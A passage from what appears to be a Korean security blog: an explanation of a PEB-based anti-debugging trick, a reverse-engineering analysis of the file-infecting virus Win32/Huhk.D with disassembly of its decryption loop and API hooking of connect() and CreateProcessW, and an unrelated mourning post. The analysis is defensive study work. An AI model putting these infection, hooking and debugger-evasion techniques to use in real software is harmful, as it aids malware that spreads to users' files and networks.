PEB 구조체를 이용한 간단한 안티디버깅 코드

CALL      00000000
MOV       EAX, 18
MOV       EBX, DWORD PTR FS:[EAX]
ADD        EBX, 30
MOV       EAX, EBX
MOV       EAX, DWORD PTR DS:[EAX]
INC         EAX
INC         EAX
MOVZX   EAX, BYTE PTR DS:[EAX]
SHL        EAX, 2
ADD        EAX, 63
ADD        DWORD PTR SS:[ESP], EAX
RETN


이걸 좀 눈에 보기 좋게 바꾸면....

CALL      00000000
MOV       EAX, DWORD PTR FS:[18]
ADD        EAX, 30
MOV       EAX, DWORD PTR DS:[EAX]
ADD        EAX, 2
MOVZX   EAX, BYTE PTR DS:[EAX]
SHL        EAX, 2
ADD        EAX, 63
ADD        DWORD PTR SS:[ESP], EAX
RETN


FS:[0] 레지스터는 TEB구조체의 시작이다.
TEB구조는 다음과 같다.

typedef struct _TEB
{
    NT_TIB NtTib;
    PVOID EnvironmentPointer;
    CLIENT_ID ClientId;
    PVOID ActiveRpcHandle;
    PVOID ThreadLocalStoragePointer;
    PPEB ProcessEnvironmentBlock;
    ULONG LastErrorValue;
    ...
}

FS:[18] 이라고 하면.. NT_TIB의 멤버중 하나이다.
NT_TIB의 구조체는 다음과 같다

typedef struct _NT_TIB
{
     PEXCEPTION_REGISTRATION_RECORD ExceptionList;
     PVOID StackBase;
     PVOID StackLimit;
     PVOID SubSystemTib;
     union
     {
          PVOID FiberData;
          ULONG Version;
     };
     PVOID ArbitraryUserPointer;
     PNT_TIB Self;
} NT_TIB, *PNT_TIB;

그러므로 FS:[18]은 PNT_TIB Self; 값을 가리키고 있으며... 이것은 즉 FS:[0]을 뜻하는 것과 마찬가지다...
그러므로 아까 안티디버깅 코드를 좀 더 줄이면... 다음과 같이 줄일수 있다.

CALL      00000000
MOV       EAX, DWORD PTR FS:[30]
ADD        EAX, 2
MOVZX   EAX, BYTE PTR DS:[EAX]
SHL        EAX, 2
ADD        EAX, 63
ADD        DWORD PTR SS:[ESP], EAX
RETN

FS:[30]은 PEB 구조체에 대한 포인터를 가지고 있으며... PEB 구조체는 다음과 같다.

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN Spare;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA LoaderData;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    ...
}

그러므로 위의 안티디버깅코드는... PEB 구조체의 BeingDebugged 값을 체크하여 만약 디버깅중일때는 0이 아닌 값이 저장되어 있으므로 이 값을 이용하여 리턴되는 EIP값을 조작하여 임의의 주소로 분기시켜 비정상 실행을 시키고 있다.
이 값은 IsDebugerPresent() 함수에서도 사용을 하여 디버깅 체크를 하고 있다.


참고사이트 :
http://www.nirsoft.net/kernel_struct/vista/NT_TIB.html
http://vbdream.tistory.com/entry/Windows-TEBThread-Environment-Block-살펴보기
크리에이티브 커먼즈 라이선스
Creative Commons License


또 다른 변형이 나와 이번엔 차근차근 상세 분석을 해 보았다.

1. 진단명 :
  - V3 : Win32/Huhk.D
  - Bit : Win32.Huhc.A - 치료 하지 않음. 삭제.

  - 뭔일인지 KAV와 시만텍이 아직까지 미진단하고 있다...

2. 특징 :
  - 자신을 분할하여 원본 파일의 비어있는 공간에 자신을 삽입하는 형태.
  - VirtualAlloc()을 이용하여 메모리에 자신의 조각들을 모은 후 실행
  - explorer.exe에 감염되어 있을 경우 CreateProcess() API를 후킹하여 파일 감염
  - explorer.exe에 감염되어 있을 경우 USB를 찾아 exe 파일을 감염
  - explorer.exe에 감염되어 있을 경우 네트워크 공유 폴더를 이용하여 전파
  - exporer.exe가 아닐 경우 connect() API를 후킹하여 네트워크 접근

3. 분석내용 :

3-1. EP 코드를 E8(CALL)로 패치 -> 따라가면 또 E9(JMP)로 패치 -> 바이러스 코드 진입

004002BC    E8 00000000     CALL    Acrobat.004002C1
004002C1    5B              POP     EBX
004002C2    81EB 05104000   SUB     EBX, Acrobat.00401005
004002C8    0BDB            OR      EBX, EBX
004002CA    74 06           JE      SHORT Acrobat.004002D2
004002CC    8B5424 24       MOV     EDX, DWORD PTR SS:[ESP+24]
004002D0    EB 04           JMP     SHORT Acrobat.004002D6

00404FFB   $- E9 BCB2FFFF   JMP     Acrobat.004002BC

004002BC    E8 00000000     CALL    Acrobat.004002C1
004002C1    5B              POP     EBX
004002C2    81EB 05104000   SUB     EBX, Acrobat.00401005
004002C8    0BDB            OR      EBX, EBX
004002CA    74 06           JE      SHORT Acrobat.004002D2
004002CC    8B5424 24       MOV     EDX, DWORD PTR SS:[ESP+24]
004002D0    EB 04           JMP     SHORT Acrobat.004002D6
004002D2    8B5424 20       MOV     EDX, DWORD PTR SS:[ESP+20]
004002D6    E8 ED000000     CALL    Acrobat.004003C8

3-2. VirtualAlloc() 함수를 이용하여 자신이 실행될 메모리를 할당 - Size는 0x1DD6

004002F0    6A 40           PUSH    40
004002F2    68 00100000     PUSH    1000
004002F7    68 D61D0000     PUSH    1DD6
004002FC    6A 00           PUSH    0
004002FE    FFD0            CALL    EAX                              ; kernel32.VirtualAlloc

3-3. 분할되어 있는 자신의 조각을 메모리상에 모은다.

3-3-1.  블록의 위치 및 Size가 8byte 구조체 배열로 순차적으로 존재하며, NULL로 마지막을 확인한다.

; 블록의 위치가 NULL인지 확인하며 루프를 돈다
0040034F    833A 00         CMP     DWORD PTR DS:[EDX], 0
00400352  ^ 75 D7           JNZ     SHORT Acrobat.0040032B

DS:[004003F9]=004002BC (Acrobat.004002BC)

; 메모리상의 값으로 [VA][Size]의 순으로 정렬되어 있다. 맨 마지막은 "00 00 00 00"으로 확인
004003F9  BC 02 40 00 3C 0D 00 00 A4 4E 40 00 54 01 00 00  ?@.<...짴@.T..
00400409  90 92 40 00 68 0D 00 00 48 A5 40 00 DE 01 00 00  릳@.h...H?.?..
00400419  00 00 00 00 00 00 00 00 A0 CE A5 02 50 02 00 00  ........졢?P..

; CALL과 JMP로 패치된 원본 10바이트가 [VA]와 [Size]앞에 저장되어 있다.
004003E9  DE C3 FB 4F 40 00 00 00 00 00 00 E8 BB 03 00 00  伺?@......邕..


3-3-2. 첫번째 블록 이외이 나머지 블록은 TimeStamp의 마지막 바이트로 XOR 암호화가 되어 있다.

0040032B    8B32            MOV     ESI, DWORD PTR DS:[EDX]          ; Acrobat.004002BC
0040032D    8B4A 04         MOV     ECX, DWORD PTR DS:[EDX+4]
00400330    3BC2            CMP     EAX, EDX
00400332    75 04           JNZ     SHORT Acrobat.00400338
00400334    F3:A4           REP     MOVS BYTE PTR ES:[EDI], BYTE PTR>
00400336    EB 12           JMP     SHORT Acrobat.0040034A
00400338    8A06            MOV     AL, BYTE PTR DS:[ESI]
0040033A    0AC0            OR      AL, AL
0040033C    74 06           JE      SHORT Acrobat.00400344
0040033E    38D8            CMP     AL, BL
00400340    74 02           JE      SHORT Acrobat.00400344
00400342    32C3            XOR     AL, BL
00400344    8807            MOV     BYTE PTR DS:[EDI], AL
00400346    47              INC     EDI
00400347    46              INC     ESI
00400348  ^ E2 EE           LOOPD   SHORT Acrobat.00400338
0040034A    8BC2            MOV     EAX, EDX
0040034C    83C2 08         ADD     EDX, 8
0040034F    833A 00         CMP     DWORD PTR DS:[EDX], 0
00400352  ^ 75 D7           JNZ     SHORT Acrobat.0040032B

3-4. 메모리상에 올라와 있는 정상파일의 이미지를 복구한다.

3-5. 실행 파일이 explorer.exe인지 확인한다. explorer.exe일 때와 아닐 때 동작이 달라진다.

3-6. explorer.exe 파일이 아닐 경우.

3-6-1. explorer.exe 파일을 $Temp$ 폴더에 복사한 후 explorer.exe 파일을 감염시킨다.

3-6-2. winlogon.exe 프로세스를 찾아 sfc_os.dll 파일을 인젝션 한 다음 윈도우즈의 시스템 파일 보호를 무력화 시킨다.

3-6-3. connect() 함수를 후킹한다.

0095174A    6A 00           PUSH    0
0095174C    FF75 18         PUSH    DWORD PTR SS:[EBP+18]
0095174F    FF75 14         PUSH    DWORD PTR SS:[EBP+14]
00951752    FF75 10         PUSH    DWORD PTR SS:[EBP+10]
00951755    FF75 F8         PUSH    DWORD PTR SS:[EBP-8]
00951758    FF93 1D254000   CALL    DWORD PTR DS:[EBX+40251D]
                                                   ; kernel32.ReadProcessMemory
; stack
0012FF60   000000E4
0012FF64   719E4A07  ws2_32.connect
0012FF68   009504E3  RETURN to 009504E3 from 8F8BD766
0012FF6C   00000005
0012FF70   00000000

0095175E    6A 00           PUSH    0
00951760    FF75 18         PUSH    DWORD PTR SS:[EBP+18]
00951763    FF75 0C         PUSH    DWORD PTR SS:[EBP+C]
00951766    FF75 10         PUSH    DWORD PTR SS:[EBP+10]
00951769    FF75 F8         PUSH    DWORD PTR SS:[EBP-8]
0095176C    FF93 21254000   CALL    DWORD PTR DS:[EBX+402521]
                                                   ; kernel32.WriteProcessMemory
; stack
0012FF60   000000E4
0012FF64   719E4A07  ws2_32.connect
0012FF68   009504DE
0012FF6C   00000005
0012FF70   00000000

; connect() 함수의 시작이 악성코드의 메모리 주소 번지로 이동하는 것을 확인할 수 있다.
719E4A07 >  E8 83D2F68E     CALL    00951C8F
719E4A0C    83EC 18         SUB     ESP, 18
719E4A0F    57              PUSH    EDI
719E4A10    8D45 E8         LEA     EAX, DWORD PTR SS:[EBP-18]
719E4A13    50              PUSH    EAX
719E4A14    8D45 EC         LEA     EAX, DWORD PTR SS:[EBP-14]
719E4A17    50              PUSH    EAX
719E4A18    FF15 50409F71   CALL    DWORD PTR DS:[719F4050]          ; ws2_32.719E2C29

악성코드에 감염된 프로세스가 외부에 connect() 연결 시도시 다음의 사이트에 접속을 시도한다.

00951B2A    FF93 81254000   CALL    DWORD PTR DS:[EBX+402581]
                                                   ; wininet.InternetOpenUrlA

0012FF50   00951355  ASCII "http://c34.___________.com/counter.php?sc_project=3034266&java=0&security=297102af&invisible=0"

후킹된 connect()는 감염된 프로세스의 메모리에서만 해당한다.

3-7. explorer.exe 파일일 경우

3-7-1. CreateProcessW() 함수를 후킹한다.

00BC174A    6A 00           PUSH    0
00BC174C    FF75 18         PUSH    DWORD PTR SS:[EBP+18]
00BC174F    FF75 14         PUSH    DWORD PTR SS:[EBP+14]
00BC1752    FF75 10         PUSH    DWORD PTR SS:[EBP+10]
00BC1755    FF75 F8         PUSH    DWORD PTR SS:[EBP-8]
00BC1758    FF93 1D254000   CALL    DWORD PTR DS:[EBX+40251D]
                                                    ; kernel32.ReadProcessMemory
;stack
0007FF44   000000EC
0007FF48   7C7D2336  RETURN to kernel32.CreateProcessW
0007FF4C   00BC04E3  RETURN to 00BC04E3 from 84FAFE86
0007FF50   00000005
0007FF54   00000000

00BC175E    6A 00           PUSH    0
00BC1760    FF75 18         PUSH    DWORD PTR SS:[EBP+18]
00BC1763    FF75 0C         PUSH    DWORD PTR SS:[EBP+C]
00BC1766    FF75 10         PUSH    DWORD PTR SS:[EBP+10]
00BC1769    FF75 F8         PUSH    DWORD PTR SS:[EBP-8]
00BC176C    FF93 21254000   CALL    DWORD PTR DS:[EBX+402521]
                                                    ; kernel32.WriteProcessMemory
;stack
0007FF44   000000EC
0007FF48   7C7D2336  RETURN to kernel32.CreateProcessW
0007FF4C   00BC04DE
0007FF50   00000005
0007FF54   00000000

CreateProcess() 함수를 후킹하여 explorer.exe를 통해 실행된 프로그램을 감염시킨다.

7C7D2336 >  E8 A3F93E84     CALL    00BC1CDE

; CALL로 패치된 위치가 악성코드의 메모리 주소임을 확인할 수 있다.

3-7-2. USB에 있는 exe 실행 파일 감염

3-7-3. wNetOpenEnum을 이용하여 네트워크 공유를 검색하여 전파
크리에이티브 커먼즈 라이선스
Creative Commons License

'바이러스이야기' 카테고리의 다른 글

Win32/Huhk.D  (0) 2009/05/28
Win-Trojan/Patched ???  (0) 2009/01/02
Win32/Muce 바이러스  (2) 2008/08/25


저의 영웅이 떠나셨습니다.
어떠한 말로도 지금의 심정을 표현할 수 없습니다.

이번 검찰조사를 받으실때...
혹시 당신의 대한 나의 지지가 상처를 받을까...
애써 당신을 외면하였던 나의 모습이...
당신을 사지로 몰아간 것이 아닐까 하는 생각에...
가슴이 매어옵니다...

죄송합니다...







오로지 이 두 사진 이대로의 모습만이...
영혼이 저의 기억속에 남아계실 겁니다...


당신 때문에 희망을 꿈꿀수 있었습니다...
감사합니다...

당신은 영원한 저의 영웅입니다...

크리에이티브 커먼즈 라이선스
Creative Commons License

'오늘은..' 카테고리의 다른 글

저의 영웅이 떠나셨습니다...  (0) 2009/05/25
낙화 - 이형기  (2) 2008/09/24
[주절주절]나보고 법질서를 잘지키라고???  (0) 2008/03/20

노무현 전 대통령 서거 - 삼가 고인의 명복을 빕니다